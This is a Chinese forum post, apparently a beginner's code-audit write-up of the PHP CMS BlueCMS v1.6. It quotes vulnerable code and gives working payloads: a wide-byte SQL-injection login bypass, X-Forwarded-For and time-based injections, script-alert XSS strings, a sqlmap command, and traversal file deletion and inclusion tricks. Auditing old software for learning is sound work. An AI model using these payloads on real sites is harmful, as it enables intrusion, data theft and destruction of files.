ToB企服应用市场:ToB评测及商务社交产业平台

标题: Bluecmsv1.6-代码审计 [打印本页]

作者: 王國慶    时间: 2022-8-10 05:04
标题: Bluecmsv1.6-代码审计
前言

之前一直说想学一下代码审计,但是由于懒还有代码审计确实比较难入门,真是一块难啃的骨头。但是没办法,现在有时间了学一下。我看网上大佬推荐的都是从bluecms1.6进行代码审计入门的,我们也来看看。
思路

思路其实就都差不多,大家也能搜到,就没什么好说的了,就以下几种嘛
反正明面话是说大家选一个自己最喜欢的思路就行,哈哈哈!但是我相信很多人还有一脸懵逼,我一个小白我哪知道选哪个。作为我也是小白刚入门,我说说我的思路,大家可以参考参考。
好了bluecms都是网上各位大佬审计烂了,哈哈哈!我就不说明什么目录结构解释了,相信大家一搜都有。我直接开始审计吧,说实话我一开始是跟着网上的大佬文章进行审计的,但是大佬的文章一般只是审计一些经典案例的漏洞,并不是所有的漏洞呀,我们既然是新手,学习当然要抱着学到底的态度啦!虽然过程中可能有很多函数大家不知道是什么意思,我也不知道,毕竟我相信大多数人并没有做过php开发,但是没事,不懂我们搜呀,就这样一个一个的慢慢搜啃下来,我相信审计个几个经典cms之后大家就熟能生巧了。好了,废话不说了!开干!
工具

链接:https://github.com/f1tz/cnseay
漏洞审计

1.ad_js.php

SQL注入漏洞
  1. $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
复制代码
思路:我们可以看到这个sql语句拼接了一个$ad_id变量,我们往前看看这个变量是通过GET方式输入的,所以这个变量我们可控,并且中途并没有做什么过滤。所以这里存在数字型的SQL注入,直接sqlmap一把梭看看。

2.publish.php

文件上传漏洞
  1. elseif($act == 'do_upload')
  2. {
  3.         include_once BLUE_ROOT . "include/upload.class.php";
  4.         $image = new upload();
  5.         if(isset($_FILES['upload_file']['error']) && $_FILES['upload_file']['error'] == 0)
  6.         {
  7.                 $upload_pic = $image->img_upload($_FILES['upload_file']);
  8.         }
  9.         template_assign('add_pic', $upload_pic);
  10.         $smarty->caching = false;
  11.         $smarty->display('upload.htm');
  12. }
复制代码
这个地方应该是有文件上传的,但是前端页面没有提交按钮,我醉了,不急我们后面分析还会有的,一般一个cms里面文件上传的功能写的都差不多,一错全错哈哈哈!直接一把梭。
任意文件删除
  1. elseif($act == 'del_pic')
  2. {
  3.         $id = $_REQUEST['id'];
  4.         $db->query("DELETE FROM ".table('post_pic').
  5.                                 " WHERE pic_path='$id'");
  6.         if(file_exists(BLUE_ROOT.$id))
  7.         {
  8.                 @unlink(BLUE_ROOT.$id);
  9.         }
  10. }
复制代码
这里id参数是用户输入的,可控并且没有任何过滤就调用unlink函数,这个函数是删除文件的,所以我们可以构造id参数删除任意文件。

这个payload能够删除跟publish.php同目录下的所有文件,但是我试了一下,我发现它能够删除D盘根目录下的文件,通过../../../能够删除上级目录下的文件,能够突破www目录。
3.user.php

任意文件包含漏洞
  1. elseif ($act == 'pay'){
  2.         include 'data/pay.cache.php';
  3.         $price = $_POST['price'];
  4.         $id = $_POST['id'];
  5.         $name = $_POST['name'];
  6.         if (empty($_POST['pay'])) {
  7.                 showmsg('对不起,您没有选择支付方式');
  8.         }
  9.         include 'include/payment/'.$_POST['pay']."/index.php";
  10. }
复制代码
这里的pay参数是我们输入的,它只是检测了pay是否为空,不为空就代入include里面,这个操作造成了文件包含漏洞,我们可以通过../包含上级目录的文件,如果有文件上传漏洞的话,上传一个图片马进去,就造成连锁反应,直接连webshell了,后面好像还真有一个上传图片马的漏洞,大家等会往下看。

直接穿越两级目录包含了首页的index.php文件。
存储型XSS漏洞


我们发现编辑资料页面的参数除了sex强制转化为int,address进行了html实体编码,其他的基本没有做过滤,然后直接代入了sql语句中插入,我们可以插入XSS弹窗测试,但是最后测试发现只有email字段能够成功弹窗,查看数据库文件发现是其他字段的长度太小了,插入的语句被截断了。

任意文件删除
  1. if (!empty($_POST['face_pic1'])){
  2.         if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
  3.            showmsg('只支持本站相对路径地址');
  4.          }
  5.         else{
  6.            $face_pic = trim($_POST['face_pic1']);
  7.         }
  8.     }else{
  9.                 if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
  10.                         @unlink(BLUE_ROOT.$_POST['face_pic3']);
  11.                 }
  12.         }
复制代码
还是编辑资料这个地方,我发现这里也存在一个任意文件删除漏洞,首先检测face_pic1参数是不是为空,是为空去检测face_pic3参数是否存在,如果存在就调用unlink函数删除文件,而且这两个参数都是用户可控的。下面我们只要把face_pic1赋值空,把face_pic3赋值成删除的文件就行,抓包进行修改。

我们删除上级目录的123.txt,删除成功了,这个也是能够突破www目录的限制的,能直接删除D盘根目录文件。
文件上传漏洞

我发现编辑资料的地方存在一个文件上传,分析一下发现只能够上传图片马。文件上传它调用了img_upload函数过滤,跟踪进去看看首先限制了图片上传的类型是四种:image/jpeg,image/gif,image/png,image/pjpeg,当然了这个我们是可以伪装的,接着往下看他会获取文件的后缀也设置了一个白名单,必须是这四个:jpg,gif,png,pjpeg,这里我们可以用%00截断来上传文件,但是上传之后他好像会按时间经常赋值文件名和加上jpg后缀,所以就是一个图片马。%00截断是php5.3.29以下才生效,后面的版本修复了,我这个实验版本是5.2,当然好像还有其他上传方式,好像有phar利用,到时候去研究一下。
任意文件删除


这里应该是存在一个任意文件删除的,但是上面的sql语句会报错,因为bluecms的源码数据库里面没有company_image这个表。
任意文件删除
  1.         //如果没有图片,则将信息缩略图设置为默认图片
  2.         if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
  3.                 @unlink(BLUE_ROOT.$_POST['lit_pic']);
复制代码
这段在user.php的614行,啊啊啊啊怎么这么多文件删除,这里lit_pic用户可控且没有做过滤,只要我们在上面一步步构造变量下来,然后到这里控制lit_pic为要删除的文件即可任意文件删除。
payload大概这样:

注册处存在存储型XSS漏洞
  1. elseif($act == 'do_reg'){
  2.         $user_name                 =        !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
  3.         $pwd                       =         !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
  4.         $pwd1                            =         !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
  5.         $email                     =         !empty($_POST['email']) ? trim($_POST['email']) : '';
  6.         $safecode                  =         !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';
  7.         $from = !empty($from) ? base64_decode($from) : 'user.php';
  8.         if(strlen($user_name) < 4 || strlen($user_name) > 16){
  9.                 showmsg('用户名字符长度不符');
  10.         }
  11.         if(strlen($pwd) < 6){
  12.                 showmsg('密码不能少于6个字符');
  13.         }
  14.         if($pwd != $pwd1){
  15.                 showmsg('两次输入密码不一致');
  16.         }
  17.         if(strtolower($safecode) != strtolower($_SESSION['safecode'])){
  18.                 showmsg('验证码错误');
  19.         }
  20.         if($db->getone("SELECT * FROM ".table('user')." WHERE user_name='$user_name'")){
  21.                 showmsg('该用户名已存在');
  22.         }
  23.         if($db->getone("SELECT * FROM ".table('admin')." WHERE admin_name='$user_name'")){
  24.                 showmsg('该用户名已存在');
  25.         }
  26.         $sql = "INSERT INTO ".table('user')." (user_id, user_name, pwd, email, reg_time, last_login_time) VALUES ('', '$user_name', md5('$pwd'), '$email', '$timestamp', '$timestamp')";
复制代码
我们发现注册的代码输入的变量都没有经过过滤,但是对用户名有长度限制,密码一般不考虑,我们在邮箱字段输入xss语句,对邮箱的验证在前端,我们抓包直接改进行提交之后触发xss。
4. comment.php

SQL注入

配置文件中对POST,GET,COOKIES,REQUEST参数都做了gpc处理,唯独漏了SERVER,而且网站正好通过这个变量获取IP地址,直接搜全局搜索getip函数,看哪里使用了,这个函数在配置文件comment.fun.php中定义的函数


我们可以通过伪造ip注入sql语句,直接上sqlmap。

5.guest_book.php

SQL注入漏洞


同样的问题,online_ip实际就是获取在线ip,其实还是调用的getip函数,前面的配方。直接构造闭合注入。
payload:x-forwarded-for:127.0.0.1',database())-- -
到现在为止外部文件基本审完了,累死我了,当然可能会漏掉一些,或者利用难度大点的我还没达到那个水平。有大神看出来可以指点一下。下面开始审admin文件夹里面的文件吧。
5.admin/login.php

我们一般访问admin都是先访问登陆页面,我们看看登录页有什么漏洞吧,一般都会有万能密码的SQL注入,这里好像也有。
SQL注入漏洞

在login.php中我们看到没有对username和password做过滤,直接用check_admin函数来判断用户名密码,我们跟进去看看,函数里面也没有进行过滤而是直接代入SQL语句了,SQL语句如下:
  1. $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
复制代码
可以看到用的单引号注入,我们只需要通过宽字节闭合掉单引号就能够万能密码登录了
payload:admin%df' or 1=1#

6.admin/ad_phone.php

存储型XSS漏洞


我们可以看到什么的参数都没有过滤,只要时间参数通过-分隔开来成了一个数组去检测,所以按理说其他的content,title,color都是存在XSS的,但是我实际上只有前面两个触发了XSS,color字段被截断了,我发现是数据库的这个字段的长度只有10,所以没有触发成功。
7.ann.php

存储型XSS
  1. elseif($act == 'do_add'){
  2.         $title                = !empty($_POST['title']) ? trim($_POST['title']) : '';
  3.         $color                = !empty($_POST['color']) ? trim($_PST['color']) : '';
  4.         $cid                = $_POST['cid'];       
  5.         $content        = !empty($_POST['content']) ? trim($_POST['content']) : '';
  6.         if($title == '' || $content == '' || empty($cid)){
  7.                 showmsg('信息填写不完整');
  8.         }
  9.         if(!$db->query("INSERT INTO ".table('ann')." (ann_id, cid, author, title, color, content, add_time, click) VALUES ('', '$cid', '".$_SESSION['admin_name']."', '$title', '$color', '$content', '$timestamp', '1')")){
  10.                 showmsg('添加新信息出错', true);
  11.         }else{
  12.                 showmsg('添加新信息成功', 'ann.php', true);
  13.         }
  14. }
复制代码
title和content字段都存在存储型XSS,color按理说也存在,但是数据库的该字段长度只有10,如果构造10以内的xss应该就能触发。
因为变量没过滤,所以这里还存在SQL注入漏洞,我这里举例延时注入,它的延时时间会×3倍,这个网站上基本有存储型XSS的地方都有这种SQL注入,payload都差不多,大家可以自行去试试,太多了太多了。
payload:
  1. title=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&color=&cid=1&content=1%df'+and+sleep(2)+or+1=1#&ann_id=3&act=do_edit
复制代码
sqlmap语句:
  1. sqlmap -r 1.txt --tamper unmagicquotes --current-db --batch -v 3 -p content --level 3
复制代码

admin/attachment.php

SQL注入漏洞,XSS漏洞

XSS就不说了大家都知道,SQL注入漏洞存在位置:

测试payload:
att_name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&modelid=123&is_required=1&att_type=1&unit=1%df'+and+sleep(5)+or+1=1#&att_val=&show_order=0&act=doedit
admin/card.php

SQL注入跟XSS,一样的漏洞,原理也一样

admin/tpl_manage.php

任意文件包含

漏洞位置:

这里的tpl_name参数是用户可控的,直接用fopen函数打开了这个路径,我们只需要控制$file变量进行任意文件读取。
任意文件写入

漏洞位置:

这里我们act变量赋值为do_edit,然后tpl_name就是我们写入的文件名,tpl_content就是我们写入的文件内容,这里的判断逻辑是如果tpl_name不存在,就会在/templates/default目录下面写入tpl_name文件,并把tpl_content的内容写入进去。
暂时就这样吧,漏洞太多了,基本都是重复的,一个功能写错了好多地方都用的一个函数,这次收获还不错。慢慢啃吧

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4